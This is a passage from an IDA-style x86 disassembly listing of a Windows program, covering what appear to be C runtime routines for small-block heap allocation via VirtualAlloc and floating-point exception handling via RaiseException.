; ---------------------------------------------------------------------------

loc_41B939:				; CODE XREF: sub_41B880+14j
		mov	ebx, [ebp+arg_0]

loc_41B93C:				; CODE XREF: sub_41B880+87j
					; sub_41B880+B7j
		mov	esi, [esi]
		cmp	esi, off_43ACC0
		jz	short loc_41B95B
		jmp	loc_41B88E
; ---------------------------------------------------------------------------

loc_41B94B:				; CODE XREF: sub_41B880+54j
					; sub_41B880+A3j
		mov	off_43ACC0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BA83
; ---------------------------------------------------------------------------

loc_41B95B:				; CODE XREF: sub_41B880+C4j
		mov	eax, offset off_438CA0
		mov	edi, eax

loc_41B962:				; CODE XREF: sub_41B880+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41B96E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41B97A

loc_41B96E:				; CODE XREF: sub_41B880+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BA4F
		jmp	short loc_41B962
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B880+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41B9A9

loc_41B998:				; CODE XREF: sub_41B880+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41B9A9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41B998

loc_41B9A9:				; CODE XREF: sub_41B880+116j
					; sub_41B880+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	dword_4231B4	; VirtualAlloc
		cmp	eax, esi
		jnz	loc_41BA81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417030
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BA10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41B9E6:				; CODE XREF: sub_41B880+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41B9E6

loc_41BA10:				; CODE XREF: sub_41B880+15Ej
		mov	off_43ACC0, edi
		lea	eax, [edi+2018h]

loc_41BA1C:				; CODE XREF: sub_41B880+1A8j
		cmp	ecx, eax
		jnb	short loc_41BA2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BA2A
		add	ecx, 8
		jmp	short loc_41BA1C
; ---------------------------------------------------------------------------

loc_41BA2A:				; CODE XREF: sub_41B880+1A3j
		cmp	ecx, eax

loc_41BA2C:				; CODE XREF: sub_41B880+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BA83
; ---------------------------------------------------------------------------

loc_41BA4F:				; CODE XREF: sub_41B880+F2j
		call	sub_41B588
		test	eax, eax
		jz	short loc_41BA81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43ACC0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BA83
; ---------------------------------------------------------------------------

loc_41BA81:				; CODE XREF: sub_41B880+143j
					; sub_41B880+1D6j
		xor	eax, eax

loc_41BA83:				; CODE XREF: sub_41B880+D6j
					; sub_41B880+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA88	proc near		; CODE XREF: sub_41B880+4Ap
					; sub_41B880+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BACD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BABC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BAC5
; ---------------------------------------------------------------------------

loc_41BABC:				; CODE XREF: sub_41BA88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BAC5:				; CODE XREF: sub_41BA88+32j
		lea	eax, [edi+8]
		jmp	loc_41BB9B
; ---------------------------------------------------------------------------

loc_41BACD:				; CODE XREF: sub_41BA88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BAD6
		mov	eax, esi

loc_41BAD6:				; CODE XREF: sub_41BA88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BB20

loc_41BADD:				; CODE XREF: sub_41BA88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BB13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BAE9:				; CODE XREF: sub_41BA88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BAF2
		inc	ebx
		inc	esi
		jmp	short loc_41BAE9
; ---------------------------------------------------------------------------

loc_41BAF2:				; CODE XREF: sub_41BA88+64j
		cmp	esi, edx
		jnb	short loc_41BB44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BB00
		mov	[ecx+4], esi
		jmp	short loc_41BB0C
; ---------------------------------------------------------------------------

loc_41BB00:				; CODE XREF: sub_41BA88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BBA5

loc_41BB0C:				; CODE XREF: sub_41BA88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BB18
; ---------------------------------------------------------------------------

loc_41BB13:				; CODE XREF: sub_41BA88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BB18:				; CODE XREF: sub_41BA88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BADD

loc_41BB20:				; CODE XREF: sub_41BA88+53j
		lea	esi, [ecx+8]

loc_41BB23:				; CODE XREF: sub_41BA88+EBj
					; sub_41BA88+F2j
		cmp	esi, edi
		jnb	short loc_41BBA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BBA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BB75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BB3B:				; CODE XREF: sub_41BA88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BB65
		inc	ebx
		inc	eax
		jmp	short loc_41BB3B
; ---------------------------------------------------------------------------

loc_41BB44:				; CODE XREF: sub_41BA88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BB55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BB5E
; ---------------------------------------------------------------------------

loc_41BB55:				; CODE XREF: sub_41BA88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BB5E:				; CODE XREF: sub_41BA88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BB9B
; ---------------------------------------------------------------------------

loc_41BB65:				; CODE XREF: sub_41BA88+B6j
		cmp	eax, edx
		jnb	short loc_41BB7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BBA5
		mov	esi, ebx
		jmp	short loc_41BB23
; ---------------------------------------------------------------------------

loc_41BB75:				; CODE XREF: sub_41BA88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BB23
; ---------------------------------------------------------------------------

loc_41BB7C:				; CODE XREF: sub_41BA88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BB8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BB96
; ---------------------------------------------------------------------------

loc_41BB8D:				; CODE XREF: sub_41BA88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BB96:				; CODE XREF: sub_41BA88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BB9B:				; CODE XREF: sub_41BA88+40j
					; sub_41BA88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BBA7
; ---------------------------------------------------------------------------

loc_41BBA5:				; CODE XREF: sub_41BA88+7Ej
					; sub_41BA88+9Dj ...
		xor	eax, eax

loc_41BBA7:				; CODE XREF: sub_41BA88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBAC	proc near		; CODE XREF: sub_41914F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BBE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BC46
; ---------------------------------------------------------------------------

loc_41BBE6:				; CODE XREF: sub_41BBAC+26j
		jnb	short loc_41BC4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BC4D
		lea	eax, [ecx+edx]

loc_41BBFB:				; CODE XREF: sub_41BBAC+59j
		cmp	eax, esi
		jnb	short loc_41BC09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BC07
		inc	eax
		jmp	short loc_41BBFB
; ---------------------------------------------------------------------------

loc_41BC07:				; CODE XREF: sub_41BBAC+56j
		cmp	eax, esi

loc_41BC09:				; CODE XREF: sub_41BBAC+51j
		jnz	short loc_41BC4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BC41
		cmp	esi, eax
		jbe	short loc_41BC41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BC38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BC33

loc_41BC2C:				; CODE XREF: sub_41BBAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BC2C

loc_41BC33:				; CODE XREF: sub_41BBAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BC41
; ---------------------------------------------------------------------------

loc_41BC38:				; CODE XREF: sub_41BBAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BC41:				; CODE XREF: sub_41BBAC+68j
					; sub_41BBAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BC46:				; CODE XREF: sub_41BBAC+38j
		mov	[ebp+var_4], 1

loc_41BC4D:				; CODE XREF: sub_41BBAC:loc_41BBE6j
					; sub_41BBAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BC55(int,int,double,int)

sub_41BC55	proc near		; CODE XREF: sub_4179A4+51p
					; sub_417AEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43B418, 0
		jnz	short loc_41BC8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C20A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BC8A:				; CODE XREF: sub_41BC55+Aj
		push	0FFFFh
		mov	dword_4894AC, 21h
		push	[ebp+arg_C]
		call	sub_41C47D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BC55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BCA8(int,int,double,double,int)

sub_41BCA8	proc near		; CODE XREF: sub_4179A4:loc_417A67p
					; sub_417AEB:loc_417BAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFF3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BCE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41BD40
		add	esp, 18h

loc_41BCE6:				; CODE XREF: sub_41BCA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C2DD
		cmp	dword_43B418, 0
		pop	ecx
		jnz	short loc_41BD24
		test	eax, eax
		jz	short loc_41BD24
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C20A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41BD24:				; CODE XREF: sub_41BCA8+4Ej
					; sub_41BCA8+52j
		push	eax
		call	sub_41C292
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C47D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BCA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD40	proc near		; CODE XREF: sub_41BCA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41BD72
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41BD72:				; CODE XREF: sub_41BD40+23j
		test	cl, 2
		jz	short loc_41BD85
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41BD85:				; CODE XREF: sub_41BD40+35j
		test	cl, bl
		jz	short loc_41BD97
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_41BD97:				; CODE XREF: sub_41BD40+47j
		test	cl, 4
		jz	short loc_41BDAA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_41BDAA:				; CODE XREF: sub_41BD40+5Aj
		test	cl, 8
		jz	short loc_41BDBD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_41BDBD:				; CODE XREF: sub_41BD40+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C460
		test	al, bl
		jz	short loc_41BE46
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_41BE46:				; CODE XREF: sub_41BD40+FDj
		test	al, 4
		jz	short loc_41BE51
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_41BE51:				; CODE XREF: sub_41BD40+108j
		test	al, 8
		jz	short loc_41BE5C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_41BE5C:				; CODE XREF: sub_41BD40+113j
		test	al, 10h
		jz	short loc_41BE66
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_41BE66:				; CODE XREF: sub_41BD40+11Ej
		test	al, 20h
		jz	short loc_41BE70
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_41BE70:				; CODE XREF: sub_41BD40+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41BEAF
		cmp	eax, 400h
		jz	short loc_41BEA1
		cmp	eax, 800h
		jz	short loc_41BE95
		cmp	eax, ecx
		jnz	short loc_41BEB5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41BEB5
; ---------------------------------------------------------------------------

loc_41BE95:				; CODE XREF: sub_41BD40+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41BEAB
; ---------------------------------------------------------------------------

loc_41BEA1:				; CODE XREF: sub_41BD40+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_41BEAB:				; CODE XREF: sub_41BD40+15Fj
		mov	[eax], ecx
		jmp	short loc_41BEB5
; ---------------------------------------------------------------------------

loc_41BEAF:				; CODE XREF: sub_41BD40+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_41BEB5:				; CODE XREF: sub_41BD40+14Bj
					; sub_41BD40+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41BEE0
		cmp	eax, 200h
		jz	short loc_41BED3
		cmp	eax, ecx
		jnz	short loc_41BEED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41BEED
; ---------------------------------------------------------------------------

loc_41BED3:				; CODE XREF: sub_41BD40+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41BEEB
; ---------------------------------------------------------------------------

loc_41BEE0:				; CODE XREF: sub_41BD40+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_41BEEB:				; CODE XREF: sub_41BD40+19Ej
		mov	[eax], ecx

loc_41BEED:				; CODE XREF: sub_41BD40+189j
					; sub_41BD40+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C46E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_4231BC	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41BF67
		and	dword ptr [esi], 0FFFFFFFEh

loc_41BF67:				; CODE XREF: sub_41BD40+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41BF70
		and	dword ptr [esi], 0FFFFFFFBh

loc_41BF70:				; CODE XREF: sub_41BD40+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41BF79
		and	dword ptr [esi], 0FFFFFFF7h

loc_41BF79:				; CODE XREF: sub_41BD40+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41BF82
		and	dword ptr [esi], 0FFFFFFEFh

loc_41BF82:				; CODE XREF: sub_41BD40+23Dj
		test	[eax+8], bl
		jz	short loc_41BF8A
		and	dword ptr [esi], 0FFFFFFDFh

loc_41BF8A:				; CODE XREF: sub_41BD40+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41BFBE
		dec	ecx
		jz	short loc_41BFB2
		dec	ecx
		jz	short loc_41BFA8
		dec	ecx
		jnz	short loc_41BFC0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41BFC0
; ---------------------------------------------------------------------------

loc_41BFA8:				; CODE XREF: sub_41BD40+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41BFBA
; ---------------------------------------------------------------------------

loc_41BFB2:				; CODE XREF: sub_41BD40+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_41BFBA:				; CODE XREF: sub_41BD40+270j
		mov	[esi], ecx
		jmp	short loc_41BFC0
; ---------------------------------------------------------------------------

loc_41BFBE:				; CODE XREF: sub_41BD40+257j
		and	[esi], edx

loc_41BFC0:				; CODE XREF: sub_41BD40+260j
					; sub_41BD40+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41BFE0
		dec	ecx
		jz	short loc_41BFD7
		dec	ecx
		jnz	short loc_41BFE9
		and	[esi], edx
		jmp	short loc_41BFE9
; ---------------------------------------------------------------------------

loc_41BFD7:				; CODE XREF: sub_41BD40+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41BFE7
; ---------------------------------------------------------------------------

loc_41BFE0:				; CODE XREF: sub_41BD40+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_41BFE7:				; CODE XREF: sub_41BD40+29Ej
		mov	[esi], ecx

loc_41BFE9:				; CODE XREF: sub_41BD40+291j
					; sub_41BD40+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41BD40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFF3	proc near		; CODE XREF: sub_41BCA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C01E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C01E
		push	ebx
		call	sub_41C4A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C01E:				; CODE XREF: sub_41BFF3+15j
					; sub_41BFF3+1Aj
		test	al, 4
		jz	short loc_41C038
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C038
		push	4
		call	sub_41C4A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C038:				; CODE XREF: sub_41BFF3+2Dj
					; sub_41BFF3+33j
		test	al, bl
		jz	loc_41C112
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C112
		push	8
		call	sub_41C4A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C0EA
		cmp	ecx, 400h
		jz	short loc_41C0C2
		cmp	ecx, 800h
		jz	short loc_41C09A
		cmp	ecx, eax
		jnz	loc_41C10A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423810
		fld	dbl_43ADB0
		fnstsw	ax
		sahf
		ja	short loc_41C092
		fchs

loc_41C092:				; CODE XREF: sub_41BFF3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C108
; ---------------------------------------------------------------------------

loc_41C09A:				; CODE XREF: sub_41BFF3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423810
		fnstsw	ax
		sahf
		jbe	short loc_41C0B2
		fld	dbl_43ADA0
		jmp	short loc_41C0BA
; ---------------------------------------------------------------------------

loc_41C0B2:				; CODE XREF: sub_41BFF3+B5j
		fld	dbl_43ADB0
		fchs

loc_41C0BA:				; CODE XREF: sub_41BFF3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C108
; ---------------------------------------------------------------------------

loc_41C0C2:				; CODE XREF: sub_41BFF3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423810
		fnstsw	ax
		sahf
		jbe	short loc_41C0DA
		fld	dbl_43ADB0
		jmp	short loc_41C0E2
; ---------------------------------------------------------------------------

loc_41C0DA:				; CODE XREF: sub_41BFF3+DDj
		fld	dbl_43ADA0
		fchs

loc_41C0E2:				; CODE XREF: sub_41BFF3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C108
; ---------------------------------------------------------------------------

loc_41C0EA:				; CODE XREF: sub_41BFF3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_423810
		fld	dbl_43ADA0
		fnstsw	ax
		sahf
		ja	short loc_41C102
		fchs

loc_41C102:				; CODE XREF: sub_41BFF3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_41C108:				; CODE XREF: sub_41BFF3+A5j
					; sub_41BFF3+CDj ...
		fstp	qword ptr [ecx]

loc_41C10A:				; CODE XREF: sub_41BFF3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C112:				; CODE XREF: sub_41BFF3+47j
					; sub_41BFF3+51j
		test	al, 2
		jz	loc_41C1E8
